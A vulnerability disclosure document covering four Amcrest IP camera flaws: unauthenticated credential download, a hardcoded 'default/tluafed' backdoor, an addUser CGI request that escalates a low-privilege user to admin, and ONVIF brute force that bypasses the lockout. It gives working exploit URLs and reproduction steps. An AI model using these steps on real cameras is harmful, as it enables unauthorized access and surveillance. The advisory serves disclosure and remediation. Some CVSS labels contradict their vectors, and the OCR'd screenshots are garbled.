# 1) SIG-EXT-04-2017-01 (Unauthenticated User Can Download Admin Credentials) -- CVE-2017-8229

#### Introduction

\_\_\_\_\_

Recently it was identified that an unauthenticated attacker can download Admin credentials from the IPM-721S Amcrest camera. The credentials are stored in clear text and this was discovered as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows an user to view and monitor the surroundings.

#### Advisory

\_\_\_\_\_

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that an unauthenticated attacker can download the administrative credentials for the Amcrest's IPM-721S products. This can then be used to log into the devices using the admin user credentials. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and also other Amcrest products. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **Critical Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/MAV:N/MAC:L/MPR: N/MS:U/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (N):
- Privileges Required (PR): Low (N):
- User Interaction (UI): Required (N):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): High (H):
- Integrity Impact (I): High (H):

- Availability Impact (A): High (H):
- Resulting base score: 9.8 (Critical)

#### **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 9.6 (Critical).

#### **Environmental Metrics**

- Confidentiality Requirement (CR): High (H):
- Integrity Requirement (IR): High (H):
- Availability Requirement (AR): High (H)
- Resulting environmental score: 9.6 (Critical).

The final score is thus 9.6 (Critical).

#### **Vulnerable Versions**

-----

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

#### Steps to Reproduce

-----

- 1) Navigate to <a href="http://IPOFCAM]/current\_config/Sha1Account1">http://IPOFCAM]/current\_config/Sha1Account1</a>
- 2) Observe that the credentials are downloaded and seems like admin user's credentials are in clear text
- 3) Try logging in to the device using those credentials and you should be able to login as an administrative user

(i) 10.0.0.225/current\_config/Sha1Account1

C Q Search

Sha1Account1-1 - Notepad					-		$\times$
File Edit Format View Help							
<pre>rme teak romma view Peep {     "DevInformation": {     "ShutDown", "NPT     "SysUpdate",     "ComConf",     "VideoInputConfig"     }, {         "Authoi         "Name": "operator"     "Memo": "user group",     "AuthorityList": [     "Backup", "MHard     "NeamoutConfig",     "RecordConf",     "Deflog",     "admin 's account",     20 14:40:54", "Reser     "NathorityList": ["Monito     "Name": "anonymity",     "Sharable": true } </pre>	"SerialID" : "AMC001 "Monitor_01", "Account "AutoMaintain", "Id" "IttConf", ], Id" rityList" : ["Monitor_] ), { "Nome" : "user" "ShutDown", "MPTZ "SysUpdate", "MPTZ SysUpdate", "MPTZ "SysUpdate", "MPTZ "VideoInputConfig" "Name" : "admin", " rved" : true, " _01" ], "Group "Password" : "EB9 ]}	<pre>G1598U14QD16" },</pre>	"Groups" : [ "Record" "yideoCond" "VideoCond" "administrator "Id" : 2, ["Monitor_01", " "c[ ["Monitor_01", " "Replay, "st1234", "AlarmConf", "AlarmConf", "st1234", { "Id" : 2, 55C25502C1",	{ "Aut "Ba JeryLog", JdeConf", "group", "Memo" teplay_01" ], "Anonymous" 01", "Alarm", onf", "Vid "Ta" : 1 "PasswordModifie "Anonymous" : "Memo" : anony "Reserved" :	<pre>chorityList" ckup",     "Dellog     "Record     "Defaulton     "Iname": "     "operator     "Id":     false,     "gueyLo     false,     mous account     true,</pre>	: [ [', fig", Gonf",, group 3, g",, f", Memo" 017-03 t",	^

#### **Vulnerability Description**

\_\_\_\_\_

An unauthenticated attacker can download the administrative credentials for the Amcrest's IPM-721S products.

If the firmware version V2.420.AC00.16.R 9/9/2016 is dissected using binwalk tool, we obtain a \_user-x.squashfs.img.extracted archive which contains the filesystem set up on the device that many of the binaries in the /usr folder.

The binary "sonia" is the one that has the vulnerable function that sets up the default credentials on the device. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub\_436D6 in IDA pro is identified to be setting up the configuration for the device. If we scroll to the address 0x000437C2 then we can see that /current\_config is being set as an ALIAS for /mnt/mtd/Config folder on the device.

141	IDA View-A 🛛 🛛	😒 Strings window 🗵	Structures 🗵 🗄 Enums 🗵 🎦 Imports 🗵 📝 Exports 🗵	
•	.text:000437A6	MOV	R0, R5	^
•	.text:000437A8	BL.W	sub_5C057C	
	.text:000437AC	ADD	R0, SP, #0x198+var_140	
	.text:000437AE	BL.W	sub_58FD98	
	.text:000437B2	LDR	R1, =aWebsur ; "WebSur"	
	.text:000437B4	ADD	R0, SP, #0x198+var_180	
- 11	.text:000437B6	BL.W	Json_params_parser	
- 11	.text:000437BA	LDR	R1, =aAlias ; "Alias"	
- 11	.text:000437BC	BL.W	Json_params_parser	
- 11	.text:000437C0	LDR	R1, =aCurrent_config ; "/current_config"	
- 11	.text: <mark>00043702</mark>	BL.W	Json_params_parser	
- 11	.text:000437C6	MOU	R5, RØ	
	.text:00043708	LDR	R1, =aMntMtdCon+ig ; "/mnt/mtd/Con+ig"	
	.text:00043/CA	ADD	RU, SP, #0x198+var_130	
	.text:00043/00	10700		
	.text:00043766 1	00_43700	; DHIH ANEF: .rodata:000288H010	
	.LEX1:00043766	BL.W	SUU_SBF01E D4_CD_#604094030 4300	
	.LEXL.00043700	HDD	NI, SF, #08190704F_100	
	.LEAL.00040702	DI M	nu, no cub ECAEZC	
	tovt.00043704	000	500_5000000000000000000000000000000000	
	tovt:00043700	BI M		
	text:000437DF	LDR	R1 = aWebsur · 'WebSur'	
•	.text:00040750	ADD		
	.text:000437F2	BL - W	Joon narams narser	
•	.text:000437E6	LDR	R1, =aAlias ; "Alias"	
	0003B7C2 000437C2:	sub_436D6+EC		~

If we telnet into the device and navigate to /mnt/mtd/Config folder we can observe that it contains various files such as Account1, Account2, SHAACcount1, etc.

🗬 10.0.0.225 - Pu	TTY		-	- 0	2
/mnt/mtd/Conf	ig i	1			s
/mnt/mtd/Conf	ig i				
/mnt/mtd/Coni	ig i				
/mnt/mtd/Coni	ig i				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Coni	ig i				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Coni	ig i				
/mnt/mtd/Coni	ig i				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Conf	Eig (				
/mnt/mtd/Conf	iq				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Conf	iq i				
/mnt/mtd/Conf	iq i				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Conf	liq				
/mnt/mtd/Conf	ig i				
/mnt/mtd/Conf	ig	1s -1			
total 125					
-rw-rr		16	wpa supplicant.conf		
-rw-rr		424	PresetFileBackUp		
-rw-rr		2717	Accounts		
-rw-rr		68	resolving.conf		
-rw-rr		0	) dial-ip		
-rw-rr		46	resolv.conf		
-rw-rr		2321	ShalAccount2		
-rw-rr		71278	osd.bmp		
-rw-rr		9659	Config		
-rw-rr		9659	Config1		
-rw-rr		2321	ShalAccount1		
-rw-rr		86	network2		
-rw-rr		13	networkip62		
-rw-rr		13	networkip6		
-rw-rr		9297	/ defaultConfig1		
-rw-rr		9297	defaultConfig		
-rw-rr		41	onvif device uuid		
-rwxr-xr-x		424	PresetFile		
-rw-rr		80	) network		
-rw-rr		128	logConfig		
-rw-rr		2717	Account2		
drwxr-xr-x		0			
/mnt/mtd/Cont	īσ d	ŧ 📘			
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,					

This means that if we navigate to <u>http://[IPofcamera]/current\_config/Sha1Account1</u> then we should be able to view the content of the files.

The security researchers assumed that this was only possible only after authentication to the device. However, when unauthenticated access tests were performed for the same URL as provided above, we observed that the device file could be downloaded without any authentication as shown below.

(i) 10.0.0.225/current\_config/Sha1Account1

C Q Search

☆ 自 ♥ ♣ 兪 ※ ☰

#### Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible to identify devices that have their web interfaces exposed to the Internet by using Shodan and then all an attacker has to do is navigate to the IP address of the camera and grab the admin credentials to login in to the web management interface of the device.

#### **Vulnerability discovery**

------

The vulnerability was discovered simply by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware.

#### Contact

\_\_\_\_\_

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <u>satam@synopsys.com</u>

#### Remediation

\_\_\_\_\_

The alias needs to be protected so that it can only be accessed only after authentication. Also clear text credentials should be completely removed from the device.

# 2) SIG-EXT-04-2017-02 (Default Account Results in Backdoor) -- CVE-2017-8226

#### Introduction

\_\_\_\_\_

Recently a backdoor account was discovered as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows an user to view and monitor the surroundings.

#### Advisory

\_\_\_\_\_

#### Overview

-----

Synopsys Software Integrity Group staff identified a default account which acts as a backdoor in the Amcrest's IPM-721S products. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and also other Amcrest products. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:F/RL:U/RC:C/CR:L/IR:L/AR:L/MAV:N/MAC:L/M PR:N/MS:U/MC:L/MI:L/MA:L

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (N):
- Privileges Required (PR): Low (N):
- User Interaction (UI): Required (N):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): Low (L)
- Integrity Impact (I): Low (L)
- Availability Impact (A): Low (L)
- Resulting base score: 7.3 (High)

#### **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C)
- Resulting temporal score: 7.1 (High).

#### **Environmental Metrics**

- Confidentiality Requirement (CR): Low (L)
- Integrity Requirement (IR): Low (L)
- Availability Requirement (AR): Low (L)
- Resulting environmental score: 5.7 (Medium).

The final score is thus 7.0 (High).

#### **Vulnerable Versions**

\_\_\_\_\_

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

#### **Steps to Reproduce**

\_\_\_\_\_

- 1) Navigate to the web management interface exposed by the device
- 2) Use the credentials 'default/tluafed' without the single quotes
- 3) This should log you in to the device as a low privileged user, however it is possible at this point to use the next vulnerability described below to create a new administrative user and make yourself an administrator

$\leftrightarrow$	×						₽☆ 🖸
٢	AMCRE	ST	Live	loud Storage		Setup	Alarm Logout
		Version					Help Center
🖸 Ca	amera	Software Version	2.420.AC00.15.R, build : 2016-09-08				
💮 Ne	etwork	WEB Version	3.2.1.377299 2.42				
"(_)" Ev	vent	S/N	AMC000H498X2J44U77				
<⊡ St	orage	Copyright 2016 Amc	crest Technologies. All Rights Reserved.				
및 Sy	vstem						
() Inf	formation						
Ver	rsion						

#### **Additional Notes:**

It seems that the new firmware tries to disable the account however, if old devices are upgraded to the newest firmware it seems they do not destroy the Account1 file and thus even with the new firmware pushed out to the device, the default account remains active. It seems that it will only work if the old devices are upgraded and then the user performs a factory reset on them. This puts a large number of devices out there at a complete risk.

#### **Vulnerability Description**

\_\_\_\_\_

The device has default credentials that are hardcoded in the firmware and can be extracted by anyone who reverses the firmware to identify them.

If the firmware version V2.420.AC00.16.R 9/9/2016 is dissected using binwalk tool, we obtain a \_user-x.squashfs.img.extracted archive which contains the filesystem set up on the device that many of the binaries in the /usr folder.

The binary "sonia" is the one that has the vulnerable function that sets up the default credentials on the device. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub\_3DB2FC in IDA pro is identified to be setting up the

values at address 0x	003DB	546				
	000000					
📴 🔚   🗢 🕶 🖛 🖬 🛍 🐃 🖡	🕨 🔼 🕴 🖊	) 🖬 🖬 🕯	🐨 🔻 🖆 🗙 🗄 🕨 l	No debugger	🔁 🚰 🕴 🏋 🏠	
						-
📃 🔲 Library function 📃 Data 📕 Regular function	Unexplored	Instruction E	External symbol			
Functions window	IDA V	/iew-A 🗵	😒 Strings window 🗵	A Structures	🗵 🗄 Enums 🗵 🛐 Imports 🗵 📝 Exports 🗵	
Function name	•	.text:003DB	594			^
7 sub 28858		.text:003DB	594 10C_308594	000	; CUDE XREF: SUD_3DB2FC+12CT]	
f sub 28800	· ·	.text:00308	594	HUU LDD	RZ, SF, #0XZ/8+VdF_98 P1 ==Default 8 : "default"	
f sub_2CB34	•	text:003DB	598	ADD	R0 SP $\pm 0 \times 278 \pm 0 \times 258$	
F sub 2CB88	•	.text:003DB	59A	BLX	std::string::string(char_const*.std::allocator(char) const&)	
f sub 2CBAC	•	.text:003DB	59E	ADD	R0, SP, #0x278+var 98	
f sub_2CBD0	•	.text:003DB	1580	BLX	<pre>std::allocator<char>::~allocator()</char></pre>	
f sub 20054		.text:003DB	564	ADD	R2, SP, #0x278+var_98	
5 sub_20034		.text:003DB	586	LDR	R1, =aTluafed ; "tluafed"	
5 sub_20076		.text:003DB	15A8	ADD	R0, SP, #0x278+var_254	
J sub_20050		.text:003DB	1588	BLX	<pre>std::string::string(char const*,std::allocator<char> const&amp;)</char></pre>	
J sub_2CCEC		.text:003DB	ISHE CONTRACTOR	HUU	R0, SP, #0x278+0ar_98	
F sub_2CD10		.text:00308	550	BLA	Stu::dilucatur <thdr ::allucatur()<br="">P2 SP #0x270+upx 00</thdr>	
J sub_2CD64		text:00308	15B4	IDR	R1 = off 0F10R8	
f sub_2CD88	•	.text:00000	588	ADD	R0. SP. $\#0x278+uar$ 250	
f sub_2CDCC	•	.text:003DB	ISBA	BLX	std::string::string(char_const*.std::allocator(char)_const&)	
f sub_2CDF0	•	.text:003DB	ISBE	ADD	R0. SP. #0x278+var 98	
f sub_2CE14		.text:003DB	500			
f sub_2CE38		.text:003DB	5C0 loc_3D85C0		; DATA XREF: .data:00CAA95Cto	
f sub_2CE7C		.text:003DB	500	BLX	<pre>std::allocator<char>::~allocator()</char></pre>	
f sub_2CEA0		.text:003DB	1504	ADD	R3, SP, #0x278+var_250	
f sub_2CEC4		.text:003DB	1506	ADD	R2, SP, #0x278+var_254	
📝 sub_2CEFC 🗸 🗸		.text:003DB	1508	ADD	R1, SP, #0x278+var_258	
< >	1	.text:003DB	15CA	MUV	K0, K5	
Line 865 of 47268	_	003D35A6 0031	DB5A6: sub_3DB2FC+2AA			~
Output window						0 8 ×
Caching Strings Window OK						^
Caching Strings window UK						
Flushing buffers, please wait	ok					
Caching 'Strings window' ok						
Caching 'Strings window' ok						~
Python						
AU: idle Down Disk: 584GB						

The sub\_5C057C then sets this value and adds it to the Configuration files in /mnt/mtd/Config/Account1 file.

₽ 10.0.0.22	5 - PuTTY			_	_
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	+			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	+			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	-			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	-			
/mnt/mtd,	/Config	ŧ			
/mnt/mtd,	/Config	1			
/mnt/mtd,	/Config	ŧ.,			
/mnt/mtd,	/Config	‡ 1s -1			
total 12	5				
-rw-rr		16	wpa_supplicant.conf		
-rw-rr		424	PresetFileBackUp		
-rw-rr	1	2717	Accounti		
-rw-rr		68	resolvipe.com		
-rw-rr		0			
-rw-rr		46	resolv.com		
-rw-rr		2321	Shalacountz		
-rw-rr-	1	/12/8	Gen fing		
	1	9659	Config2		
-rw-rr-	1	9659			
	1	2321	network?		
	1	12			
-rw-rr-	1	13	networking		
	1	9297	default Config1		
	1	9297	default-Config		
-rw-rr	1	3231	actual control of the second		
-rwxr-xr	-x 1	424			
-rw-rr	1	80	network to the second se		
-rw-rr		128	logConfig		
-rw-rr-	1	2717			
drwyr-yr-	- 2 2				
/mnt/mtd	/Config	± 📕			
, millor, mour	-ooming				

# Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible to identify devices that have their web interfaces exposed to the Internet by using Shodan and then all an attacker must do is log in to them using the default credentials. Also, it is possible to add an admin user to the device using the Issue number 4 noted here.

#### **Vulnerability discovery**

\_\_\_\_\_

The vulnerability was discovered simply by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware.

#### Contact

#### \_\_\_\_\_

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, satam@synopsys.com

#### Remediation

\_\_\_\_\_

This account must be removed from the binary.

# 3) SIG-EXT-04-2017-03 (Low Privileged Accounts can add an Admin user) -- CVE-2017-8230

#### Introduction

\_\_\_\_\_

Recently it was identified that a low privileged user on the device can add an administrative user to the device and thus be able to login into the web management interface of the device as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows a user to view and control the settings on the device.

#### Advisory

\_\_\_\_\_

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that the users on the device are divided into 2 groups "admin" and "user". However, as a part of security analysis it was identified that a low privileged user who belongs to the "user" group and who has access to login in to the web administrative interface of the device can add a new administrative user to the interface using HTTP APIs provided by the device and perform all the actions as an administrative user by using that account. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and other Amcrest products. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/ MPR:L/MS:U/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (L):
- Privileges Required (PR): Low (L):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): High (H):
- Integrity Impact (I): High (H):

- Availability Impact (A): High (H):
- Resulting base score: 8.8 (High)

#### **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 8.6 (High).

## **Environmental Metrics**

- Confidentiality Requirement (CR): Med (H):
- Integrity Requirement (IR): Med (H):
- Availability Requirement (AR): Med (H
- Resulting environmental score: 8.8 (High).

The final score is thus 8.8 (High).

#### **Vulnerable Versions**

-----

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

#### Steps to Reproduce

-----

- 1) Create a low privileged user on the device using your admin account
- 2) Now navigate to another browser or logout of the current browser and clear the cookies
- 3) Now navigate to <u>http://[IP OF CAMERA]/cgi-bin/userManager.cgi?action=addUser&user.Name=George&user.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=false</u>
- 4) This should create a user with username George and password 123456 as an admin user on the device

$\leftarrow \rightarrow$	С	; ()	/cgi-bin/userManager.cgi?action=addUser&user.Name=George&user.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Reserved=falser.Password=123456&user.Group=admin&user.Sharable=true&user.Password=123456&user.Group=admin&user.Sharable=true&user.Password=123456&user.Group=admin&user.Sharable=true&user.Password=123456&user.Group=admin&user.Password=123456	☆
🔛 Арр	s 🍃	Hardware Rever	e Eng 🖸 Releases -iagox86/dn: 📙 Bookmarks bar 📒 Imported	📙 Other bookma

ОК

- 5) Now try logging into the device using that newly created user
- 6) The user can then be deleted afterwards by using another API call <u>http://[IP OF</u> <u>CAMERA]/cgi-bin/userManager.cgi?action=deleteUser&Name=George</u>

#### **Vulnerability Description**

\_\_\_\_\_

The users on the device are divided into 2 groups "admin" and "user". However, as a part of security analysis it was identified that a low privileged user who belongs to the "user" group and who has access to login in to the web administrative interface of the device can add a new administrative user to the interface using HTTP APIs provided by the device and perform all the actions as an administrative user by using that account.

If the firmware version V2.420.AC00.16.R 9/9/2016 is dissected using binwalk tool, we obtain a \_user-x.squashfs.img.extracted archive which contains the filesystem set up on the device that many of the binaries in the /usr folder. The binary "sonia" is the one that has the vulnerable functions that performs the various action described in HTTP APIs. The full description of what each HTTP API performs can be obtained from here <a href="https://support.amcrest.com/hc/en-us/article\_attachments/215199368/AMCREST\_HTTP\_API\_SDK\_V2.10.pdf">https://support.amcrest.com/hc/en-us/article\_attachments/215199368/AMCREST\_HTTP\_API\_SDK\_V2.10.pdf</a>. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function at address 0x00429084 in IDA pro is the one that processes the HTTP API request for "addUser" action.

		DA View-A	× 5	Strings window	v 🗵  🖪	Structures	×	E	Enums	×	1	Imports	×	<b>P</b>	Exports	×
		DA View-A		3 Strings window	v 🔀	Structures BL HOUS HOU BL LDR BL HOU LDR ADD BL ADD BL ADD BL ADD BL BL LDR BL MOU		Sub sub R1, R0, Sub R1, Sub R1, R0, Sub R1, R0, Sub R1, Sub R1, Sub R1, Sub R1, Sub R1, Sub R1, Sub R1, R0, Sub R1, R0, Sub R1, R0, Sub R1, R0, Sub R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R1, R0, R0, R1, R0, R1, R0, R0, R1, R0, R0, R1, R0, R1, R0, R1, R0, R0, R1, R0, R0, R1, R0, R1, R0, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R0, R1, R1, R0, R1, R1, R1, R1, R1, R1, R1, R1, R1, R1	Enums 56FD98 #0 R5 5C0780 = aMethou _ params R9 = aUsern. SP, #0x: 56F64E SP, #0x: 56F64E SP, #0x: 56F0788 #0 R5 5C07788 = aParams = aGroup. n_params; 80	d ; "me _parser anager_ 1F0+var 1F0+var 1F0+var 1F0+var 9; "parser 0; "c _parser 0; "c	ethod" 	Imports	Jer . add	₩ dUser"	Exports	
1	100.00%	(2450,148)	8) (212.)	92) 00421144	00429144:	RUD related user	Manager	КТ, Lado	JP, #UX dUser+C0	1F Ø+var	'_1E4					

If we trace the calls to this function, it can be clearly seen that the function sub\_41F38C at address 0x0041F588 parses the call received from the browser and passes it to the "addUser" function without any authorization check.

IDA View-A 🛛 🔝 Strings windo	ow 🗵 🚺 Structures	🗵 🏥 Enums 🗵 👔 Imports 🗵 📝 Exports 🗵	
.text:0041F550	BL	Dahua_WebAppCGIRequesthandlerInit	^
.text:0041F554	LDMIA.W	R5, {R0-R2}	
.text:0041F558	STMEA.W	SP, {R0-R2}	
.text:0041F55C	MOV	RØ, Ró	
.text:0041F55E	LDMIA.W	R4, {R2,R3}	
	LDR	R1, =aCgiBinUserma_3 ; "/cgi-bin/userManager.cgi?action=getActi"	
.text:0041F564	BL	STD_LIST_SEARCH	
.text:0041F568	LDR	R3, =(CCGIRequestHandlerparseAddUserReq+1)	
.text:0041F56A	ADD	R2, SP, #0x400+var_38C	
.text:0041F56C	STR	R7, [SP,#0x400+var_388]	
.text:0041F56E	MOV	R0, R4	
.text:0041F570	STR	R3, [SP,#0x400+var_38C]	
.text:0041F572	MOV	R3, R6	
	LDMIA	R2, {R1,R2}	
_text:0041F576	BL	DahuaWebAppCGIRequesthandlerInit	
.text:0041F57A	LDMIA.W	R5, {R0-R2}	
.text:0041F57E	STMEA.W	SP, {R0-R2}	
.text:0041F582	MOV	R0, R6	
	LDMIA.W	R4, {R2,R3}	
.text:0041F588	LDR	R1, =aCg1BinUserma_4 ; "/cg1-bin/userManager.cg1?action=addUser"	
.text:0041F58A	BL	SID_LISI_SEARCH	
.text:0041F58E	LDR	R3, =(CCGIRequestHandler_parseDelUserIn+oReq+1)	
.text:0041F590	HUU	R2, SP, #0x400+Var_384	
.text:0041F592	STR	R7, [S7,#0x400+Var_380]	
.text:0041F594	MUU	R0, K4	
.LEXL:0047F596	518	K3, [3r,#0X400+Vdr_384]	
00417588 0041F588: CCGIRe	questHandler_Action_Se	arch+1FC	~

#### Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible for a low privileged user to just add a new administrative user without having the necessary privileges. It seems a low privileged user can also execute other API calls as well which include setting the configuration settings and managing other settings on the device. All the HTTP APIs <u>https://support.amcrest.com/hc/enus/article\_attachments/215199368/AMCREST\_HTTP\_API\_SDK\_V2.10.pdf</u> described in the PDF document are susceptible to this attack.

#### **Vulnerability discovery**

-----

The vulnerability was discovered by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware.

#### Contact

-----

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <a href="mailto:satam@synopsys.com">satam@synopsys.com</a>

#### Remediation

-----

The authorization check must be implemented to ensure that only privileged user can access the necessary functionality.

# 4) SIG-EXT-04-2017-04 (Account Lockout Fails for Brute forcing using ONVIF specification) -- CVE-2017-8227

#### Introduction

\_\_\_\_\_

Recently it was identified that the ONVIF device specification supported by Amcrest IP camera allows to brute force the web administrative password as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows an user to view and control the settings on the device.

#### Advisory

\_\_\_\_\_

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that the ONVIF device specification supported by Amcrest IP camera allows to brute force the web administrative password and allows to log in to the Amcrest's IPM-721S products. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and also other Amcrest products. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:F/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:L/MP R:L/MUI:R/MC:H/MI:H/MA:H

# **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (H):
- Privileges Required (PR): Low (L):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): Complete (C):
- Integrity Impact (I): Complete (C):
- Availability Impact (A): Complete (C):
- Resulting base score: 8.0 (High)

# **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 7.8 (High).

# **Environmental Metrics**

- Confidentiality Requirement (CR): Med (M):
- Integrity Requirement (IR): Med (M):
- Availability Requirement (AR): Med (M)
- Resulting environmental score: 7.8 (High).

The final score is thus 7.8 (High).

# **Vulnerable Versions**

\_\_\_\_\_

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

#### **Steps to Reproduce**

\_\_\_\_\_

1) Set up the Burpsuite intruder functionality with the HTTP request below



- 2) To test select a password list of 50 to 60 words long and at the end append the correct admin password
- 3) Now let the Intruder perform its attack and observe that after even 40 incorrect requests in case of the tester, it is possible to log in with the correct password
- 4) Repeat the login procedure using the Web interface and observe that after 30 incorrect password attempts the device requires to wait for five minutes

#### **Vulnerability Description**

\_\_\_\_\_

The device has a timeout policy to wait for 5 mins in case 30 incorrect password attempts are detected using the Web and HTTP API interface provided by the device. However, if the same brute force attempt is performed using ONVIF specification which is supported by the same binary then there is no account lockout or timeout executed. This can allow an attacker to circumvent the account protection mechanism and brute force the credentials.

If the firmware version V2.420.AC00.16.R 9/9/2016 is dissected using binwalk tool, we obtain a \_user-x.squashfs.img.extracted archive which contains the filesystem set up on the device that many of the binaries in the /usr folder. The binary "sonia" is the one that has the vulnerable function that performs the credential check in the binary for the ONVIF specification. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function at address 00671618 in IDA pro is parses the WSSE security token header.

🔲 IDA	View-A 🛛 🔂 Strings window 🖾	A Structures	🗵 🗄 Enums 🗵 🛐 Imports 🖾 📝 Exports 🗵
	.text:0067170E .text:00671710 .text:00671714 .text:00671718 :	MOV BLX.W BLX.W	R0, SP ; this ^ std::string::~string() cxa_end_cleanup
